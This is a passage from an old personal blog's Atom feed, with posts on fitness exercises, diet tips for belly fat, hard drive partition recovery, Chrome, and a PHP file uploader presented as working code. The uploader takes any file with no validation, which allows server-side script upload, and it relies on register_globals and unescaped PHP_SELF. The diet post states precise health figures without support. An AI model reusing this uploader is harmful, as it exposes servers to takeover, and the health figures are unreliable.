src='https://blogger.googleusercontent.com/tracker/19793524-7544994913415976601?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7544994913415976601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7544994913415976601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7544994913415976601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7544994913415976601'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/11/how-do-you-test-your-pc.html' title='How do you test your PC?'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-329576436644803741</id><published>2008-10-09T03:41:00.001-07:00</published><updated>2008-10-13T00:31:39.232-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fitness'/><title type='text'>Effective back training exercises</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_nXiUn_G4NDk/SPL2cD5aIhI/AAAAAAAAAS8/iW3gdh06gb8/s1600-h/arnold_back.jpg"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_nXiUn_G4NDk/SPL2cD5aIhI/AAAAAAAAAS8/iW3gdh06gb8/s400/arnold_back.jpg" alt="" id="BLOGGER_PHOTO_ID_5256534677037654546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Back muscles are an important body foundation. They are heavily being  used in lots of base movements and greatly influence our body posture. It’s a known fact that gorillas chose their leader because of his big and strong silver back. So if you really want to have a harmonic body that screams from a distance who’s the boss, please apply the following advices to your training.&lt;br /&gt;&lt;br /&gt;In the article will be emphasized on the exercises for upper and middle back areas which can be developed quickly via chin ups and pull ups. And even though these movements are popular they still remain hard to follow by lots of people.&lt;br /&gt;So here are the 5 highly effective time proven exercises along with their proper form. Doing them can make you sore for day or two, but don’t worry - that is just a sign that you keep progressing.&lt;br /&gt;&lt;br /&gt;1. Narrow grip chin up with palms facing your body. Initially go for 3 sets with 6-8 reps and aim for a 6 sets with 10-15 repetitions. Remember that when conditioning for the 300 movie the actors had to make 50 chin ups and if you’ve forgotten how to do the exercise here is a video showing its proper form. The video shows slightly wider grip that is also a great exercise:&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/URRQX5wkas4&amp;amp;hl=en"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/URRQX5wkas4&amp;amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Bar rowing&lt;br /&gt;&lt;img src="http://stronglifts.com/wp-content/uploads/pendlay-row-glenn-2.jpg"/&gt;&lt;br /&gt;&lt;br /&gt;Load a bar with light weight up to 60lbs. Place your feet at shoulders width. Bend at 45degrees and grab the bar with palms facing you at a wider than shoulder width. Move your abdominals forward keeping your lower back straight. Brace the abdominals and move it slightly forward. From this position begin pulling the row with your elbows to your body. The aim is to reach your lower chests with the bar. Do 3 sets with 15 reps.&lt;br /&gt;&lt;br /&gt;3. Dumbbell bend rows&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/SMxar-uZAqo&amp;amp;hl=en"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/SMxar-uZAqo&amp;amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Squat at 45 degrees. Grab the dumbbell with your right hand, and the right one keep next to your chest. Start flexing your arm from the elbows up and pull the dumbbell to your body.&lt;br /&gt;The trick:  Pull with your shoulder blade contracting it toward the other blade, like if your shoulder blades are coming one to another.&lt;br /&gt;&lt;br /&gt;4. Wall slide: 3sets with 15 reps&lt;br /&gt;&lt;img src="http://www.t-nation.com/img/photos/278scap-wall-slide-start.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;5. Forward and up swing&lt;br /&gt;&lt;img src="http://www.myfit.ca/exercisedatabase/images/inclinefrontraises.gif" /&gt;&lt;br /&gt;Proper form: squat and bend forward so that your upper body is parallel to the floor. Keep your left arm close to your body and with your right arm grab a lightweight dumbbell (10lbs). With thumbs pointing upwards start lifting up and down the weight. When done change the arms. Do 3 sets with 11 repetitions. Note: Lift up clean without relying on the initial momentum swing force.&lt;br /&gt;&lt;br /&gt;One of the most important things to notice when exercising is to feel how you muscles are getting pumped and stay in such condition for a few moments. During all the exercises remember to keep your lower back straight. I wish you great training and excellent results!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-329576436644803741?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/329576436644803741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=329576436644803741' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/329576436644803741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/329576436644803741'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/10/effective-back-training-exercises.html' title='Effective back training exercises'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_nXiUn_G4NDk/SPL2cD5aIhI/AAAAAAAAAS8/iW3gdh06gb8/s72-c/arnold_back.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5814693517919816989</id><published>2008-09-29T03:20:00.000-07:00</published><updated>2008-09-29T23:24:10.014-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fitness'/><title type='text'>Before you go to the gym</title><content type='html'>Being eager to hit the gym for the first time and the last think that you might expect is not to go straight, but to wait until you are prepared???&lt;br /&gt;Well, that's true - it's essential to be in good shape prior entering the gym, otherwise your dream training might turn into a slightly bad experience. But, don't worry I'll reveal you how to avoid such situations with a few exercises that will prepare you for the bigger challenge.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The following program is designed to show and improve your current fitness level. It consists of indoor and outdoor training without using any weights. Here are the exercises:&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Chin up&lt;/span&gt;&lt;strong style="font-weight: bold;"&gt;&lt;/strong&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://4.bp.blogspot.com/_nXiUn_G4NDk/SOE0e5TZrzI/AAAAAAAAAR0/GPr3mf_nJ68/s320/chinup.jpg" alt="chin up" id="BLOGGER_PHOTO_ID_5251536345873624882" border="0" /&gt;&lt;br /&gt;Grab the bar firmly at the shoulder width, cross your legs and start rising your body up. Try to keep your elbows perpendicular to the floor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Dips&lt;/span&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://4.bp.blogspot.com/_nXiUn_G4NDk/SOE0fG8MPGI/AAAAAAAAAR8/4lwJSNV9mEc/s320/dips.jpg" alt="dips" id="BLOGGER_PHOTO_ID_5251536349534370914" border="0" /&gt;&lt;br /&gt;Go to the parallel bar and rise until your hands are straight. Then flex your elbows and go down until your elbow and upper arm are perpendicular. Raise again to the initial position.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Inverted parallel row&lt;/span&gt;&lt;strong style="font-weight: bold;"&gt;&lt;/strong&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://2.bp.blogspot.com/_nXiUn_G4NDk/SOE0TjgUN7I/AAAAAAAAARc/q17eCdMs3K0/s320/parallelrows.jpg" alt="parallel rows" id="BLOGGER_PHOTO_ID_5251536151043651506" border="0" /&gt;&lt;br /&gt;Use the parallel bar to place your feet on the two separate bars and let your body sink. Grab the handles and start flexing up. This exercise is a sort of inverted push up.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. One leg Bulgarian squat&lt;/span&gt;&lt;strong style="font-weight: bold;"&gt;&lt;/strong&gt;&lt;br /&gt;4.1 Start sitting and standing up on one leg from a chair. The other leg stays straight forward. Repeat until you can make the move without the chair.&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://1.bp.blogspot.com/_nXiUn_G4NDk/SOE0TR3sh3I/AAAAAAAAARE/6P7Bm3n0glo/s320/onelegsquat1.jpg" alt="" id="BLOGGER_PHOTO_ID_5251536146309875570" border="0" /&gt;&lt;br /&gt;4.2 Place your right leg foot parallel on a chair. From that position start squatting. Keep your posture straight during the exercise.&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://3.bp.blogspot.com/_nXiUn_G4NDk/SOE0Ttxxm4I/AAAAAAAAARU/yeC1dtTOXLg/s320/onelegsquat.jpg" alt="" id="BLOGGER_PHOTO_ID_5251536153801235330" border="0" /&gt;&lt;br /&gt;4.3 Take a smaller chair and start climbing up and lowering down while alternating your legs.&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://3.bp.blogspot.com/_nXiUn_G4NDk/SOE0TQm2B4I/AAAAAAAAARM/SkwqcEH0eos/s320/onelegsquat2.jpg" alt="bulgarian hack squat" id="BLOGGER_PHOTO_ID_5251536145970759554" border="0" /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5. Hanging leg rise&lt;/span&gt;&lt;strong style="font-weight: bold;"&gt;&lt;/strong&gt;&lt;br /&gt;Grab the bar with arms and hang. Then slowly rise your legs until your ankles reach you chest. Make a short pause and continue.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;6. &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Vertical leg&lt;/span&gt;&lt;strong&gt; crunch&lt;/strong&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://1.bp.blogspot.com/_nXiUn_G4NDk/SOE3CYBYl5I/AAAAAAAAASE/f_uQnxeK5OY/s320/verticallegcrunch.jpg" alt="vertical leg crunch" id="BLOGGER_PHOTO_ID_5251539154438231954" border="0" /&gt;&lt;br /&gt;Lay on your back with hands close to your body. Start raising your legs to the chest until they are perpendicular to the floor. Next lower them slowly till they are 5inches from floor. Don't bend your lower back during the exercise!&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;7. The plank&lt;/span&gt;&lt;strong style="font-weight: bold;"&gt;&lt;/strong&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://2.bp.blogspot.com/_nXiUn_G4NDk/SOE0TnVQD5I/AAAAAAAAARk/3OsFDbI5Lpc/s320/plank.jpg" alt="plank" id="BLOGGER_PHOTO_ID_5251536152070983570" border="0" /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;Take a push up position, but with your elbows on the floor. Try to hold for a 120 seconds.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;8. Push up&lt;/span&gt;&lt;strong style="font-weight: bold;"&gt;&lt;/strong&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://1.bp.blogspot.com/_nXiUn_G4NDk/SOE0ex7S3II/AAAAAAAAARs/LQyVxLs4LrE/s320/pushup.jpg" alt="push up" id="BLOGGER_PHOTO_ID_5251536343893466242" border="0" /&gt;&lt;br /&gt;Start from a normal push up position with palms and toes on the ground, and keeping a straight line from your heels to shoulders, place your legs on a chair or swiss ball. From that position bend your elbows down until your chest reach the floor. Then quickly go up into a initial position.&lt;br /&gt;&lt;br /&gt;The preparatory exercises are designed to be used with 3 sets by 8 repetitions or 3x12reps. Know that you are ready for the gym when they cause you no huge effort.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5814693517919816989?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5814693517919816989/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5814693517919816989' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5814693517919816989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5814693517919816989'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/before-you-go-to-gym.html' title='Before you go to the gym'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_nXiUn_G4NDk/SOE0e5TZrzI/AAAAAAAAAR0/GPr3mf_nJ68/s72-c/chinup.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5969313407284614869</id><published>2008-09-24T06:42:00.000-07:00</published><updated>2008-09-29T02:42:20.042-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Simplify your income plans using the Adsense Calculator</title><content type='html'>&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://www.embtreasures.com/images/quiltcalculator.jpg" alt="" border="0" /&gt;This quick post is not intended to show you how to optimize your clickthrough rates or some income parameters..., it's about how you can predict your Adsense earnings, have a broader overall picture and act more confident based on the result information.&lt;div&gt;&lt;br /&gt;&lt;div&gt;Try the Calculator from here: http://www.seochat.com/seo-tools/adsense-calculator/&lt;/div&gt;&lt;div&gt;The only three parameters you'll need to know are: &lt;/div&gt;&lt;div&gt;1. your website impressions&lt;/div&gt;&lt;div&gt;2. click through rate(how many clicks/100 do the ads on your website usually receive) &lt;/div&gt;&lt;div&gt;3. the average cost per click(how much you get paid for 1 click)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The result will be a nice a clean future income report that will save you lot of time otherwise wasted by counting everyday clicks.&lt;/div&gt;&lt;div&gt;Cheers!&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5969313407284614869?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5969313407284614869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5969313407284614869' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5969313407284614869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5969313407284614869'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/simplify-your-income-plans-using.html' title='Simplify your income plans using the Adsense Calculator'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7205345803578931086</id><published>2008-09-23T07:01:00.000-07:00</published><updated>2008-09-24T03:05:34.309-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fitness'/><title type='text'>Quickly shrink the belly fat</title><content type='html'>&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://gomuscles.net/images/pecs.jpg" alt="" border="0" /&gt;&lt;span style="font-weight: bold;"&gt;The theory&lt;/span&gt;&lt;br /&gt;There are two types of fat in our body: subcutaneous and visceral. The first one is located beneath the skin and can usually be seen. The Visceral fat on the other side resides deep within the torso, wrapping itself around the heart, liver and other major organs thus remains unseen. It’s referred as "hidden" or “deadly” belly fat. You can actually measure your waist line, be within limits (40inches for men and 35inches for women) and still have too much of visceral fat.&lt;br /&gt;Here are some advices that will help you to limit and reduce those dangerous fats. Choose what method suits you best and do it!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The exercises&lt;/span&gt;&lt;br /&gt;• vigorously exercise and stay active, even at a low level! (no exercise increases visceral fat by about 1%/month)&lt;br /&gt;• do the most effective ab exercises: the plank and bicycle do 6-8 sets x 12reps., but not everyday, because abs need time to recover. Remember that 1% body fat loss shrinks 3% of visceral fat&lt;br /&gt;• walk 20 minutes/day to shrink your waistline by an inch for a month&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The diet&lt;/span&gt;&lt;br /&gt;• consume monounsaturated fatty acids: from almonds, avocados; dark bitter chocolate, stirred flaxseed oil and almonds&lt;br /&gt;• substitute coffee with green tea&lt;br /&gt;• when you’ve finished eating take fish oil up to 2grams/day.&lt;br /&gt;• eat more fiber – this will slow down the release of insulin hormone thus lowering the visceral fat storage.&lt;br /&gt;• limit the sweeteners, use honey instead. Try to resist when you have sugar cravings!&lt;br /&gt;• try limiting your refined carbohydrate intake, and eat fruits with high-glycemic index early in the morning&lt;br /&gt;• prior meals drink a shake made from the juice of 1 ripe lemon, 2 tbsp. apple cider vinegar, 1/2tbsp. cinnamon and 1tbsp honey mixed with warm water.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7205345803578931086?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7205345803578931086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7205345803578931086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7205345803578931086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7205345803578931086'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/quicly-shrink-belly-fat.html' title='Quickly shrink the belly fat'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5431130509136920131</id><published>2008-09-21T00:55:00.000-07:00</published><updated>2011-04-23T01:06:56.720-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>Advanced hard drive partition and geometry recovery</title><content type='html'>&lt;img alt="" border="0" src="http://www.cnet.com.au/story_media/339282375/how-to-upgrade-your-playstation-3-hard-drive_1.jpg" style="float: left; margin: 0 10px 10px 0; width: 320px;" /&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Here is the story&lt;/span&gt;: After running several Scandisk tests my brother’s 160GB hard drive failed to show at BIOS system report on reboot. The hard drive was NFTS formatted so I thought that the recovery process should go easy.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;I ran my favorite recovery software R-Studio, FileScavenger etc… but they didn’t recognize the hard drive at all. It appeared that drive’s geometry (heads,sectors,cylinders) information was also incorrect. So no matter how many file recovery applications I was running the result was the same: unrecognized file system or misplaced file information.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;I looked at the hard drive’s sticker and noticed the &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Cylinders Heads Sectors&lt;/span&gt; values (information that could also be found in drive's service manual). Then loaded up the free&amp;nbsp;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;testdisk &lt;/span&gt;program and carefully entered those numbers in the Geomety section. But the 160GB hard drive now appeared as 37GB… - what was happening? In order to allocate and handle bigger hard drives sizes engineers have invented: 2 types of addressing: &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;logical &lt;/span&gt;and &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;physical &lt;/span&gt;- physical were the ones that I found on the drive’s cover. The logical CHS values are chosen by the operating system.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Indeed testdisk needs one more value: the sector size (512, 1024, 2048 or 4092). So I just started the format dialogue in windows and noticed that the default 'sector size' value was 512. Next searched Google for my hard drive’s serial number and found the logical CHS values in postings from linux 'dmesg' command and other diagnostic tools.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;I loaded testdisk’s Geometry with those new numbers, then run Analyse to rescan the hard drive for partitions and they showed up, Write followed and after the reboot the hard drive finally showed in BIOS system report. Windows also recognized the drive but the information was still inaccessible.&lt;/div&gt;&lt;div&gt;So I run Filescavenger and restored the information to a blank hard drive. Then reformatted the first one and moved back the recovered information.&lt;br /&gt;Cheers!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5431130509136920131?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5431130509136920131/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5431130509136920131' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5431130509136920131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5431130509136920131'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/advanced-hard-drive-partition-and.html' title='Advanced hard drive partition and geometry recovery'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4764204812872627927</id><published>2008-09-10T06:13:00.000-07:00</published><updated>2008-09-10T07:05:27.750-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Developer's benefits from Google Chrome</title><content type='html'>&lt;img style="cursor:pointer;" src="http://www.siliconrepublic.com/fs/img/news/200809/378x/chromecolour3.jpg" border="0" alt="" /&gt;&lt;div&gt;Well you may know that Google released a new browser called Chrome, but before start thinking that it's just one more in the row of modern browsers, let me tell you how can you benefit from.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Here is the story:&lt;/span&gt;&lt;br /&gt;&lt;div&gt;Many years I've been doing web design and redesign on a highly optimized 900Mhz AMD PC:) until recently when I upgraded to 3000Mhz Core 2 Duo but didn't noticed the actual performance increase when building applications.&lt;/div&gt;&lt;div&gt;So I downloaded Chrome... when I first tried it i didn't realized the difference, but on JavaScript applications(web2.0) I realy felt it - the rendering was times faster than Firefox's.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;The result:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;My work speeded up, I was able to get more done and the frustration levels of waiting went down. So the conclusion is: if you want more speed wen developing web applications try Chrome.&lt;div&gt;Cheers!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4764204812872627927?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4764204812872627927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4764204812872627927' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4764204812872627927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4764204812872627927'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/developers-benefits-from-google-chrome.html' title='Developer&apos;s benefits from Google Chrome'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5047936825492253152</id><published>2008-08-27T05:09:00.000-07:00</published><updated>2011-01-06T13:05:18.112-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><title type='text'>PHP file uploader</title><content type='html'>Here is a simple working php uploader. Save the code under the name of upload.php and use it:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;form enctype="multipart/form-data" method="post" action="&amp;lt;?echo $_SERVER['PHP_SELF'];?&amp;gt;"&amp;gt;&lt;br /&gt;&amp;lt;label for="file"&amp;gt;File:&amp;lt;/label&amp;gt;&lt;br /&gt;&amp;lt;input id="file type="file" name="fileupl" size="50" maxlength="100000" /&amp;gt;&lt;br /&gt;&amp;lt;input name="submfile" type="submit" id="submfile" value="Upload &amp;gt;" /&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="step2" value="true" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;? &lt;br /&gt;ini_set("upload_max_filesize", "100M");//set the max. file upload size&lt;br /&gt;$directory=""; //$directory is the default upload dir&lt;br /&gt;&lt;br /&gt;$target_path = $directory."/";&lt;br /&gt;if ($handle = opendir($target_path)) {&lt;br /&gt;echo "Published files:\n";&lt;br /&gt;while (false !== ($file = readdir($handle))) {&lt;br /&gt;if ($file != "." &amp;amp;&amp;amp; $file != "..") { $arr_files=1; echo "&amp;lt;br /&amp;gt;&amp;lt;a href=\"/$target_path$file\"&amp;gt;$file&amp;lt;/a&amp;gt;";  }&lt;br /&gt;}&lt;br /&gt;closedir($handle);&lt;br /&gt;}&lt;br /&gt;if (empty($arr_files)) $arr_files="There are no uploaded files.";&lt;br /&gt;else if($step2 == 'true')&lt;br /&gt;{&lt;br /&gt;ini_set("max_execution_time", "500"); //maximum upload execution time&lt;br /&gt;if (!is_dir($target_path)) {mkdir($directory, 0700);}&lt;br /&gt;$target_path = $target_path . basename( $_FILES['fileupl']['name']);&lt;br /&gt;if(move_uploaded_file($_FILES['fileupl']['tmp_name'], $target_path)) {&lt;br /&gt;echo "The file ".basename( $_FILES['fileupl']['name'])." has been uploaded successfuly.";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5047936825492253152?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5047936825492253152/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5047936825492253152' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5047936825492253152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5047936825492253152'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/08/php-file-uploader.html' title='PHP file uploader'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 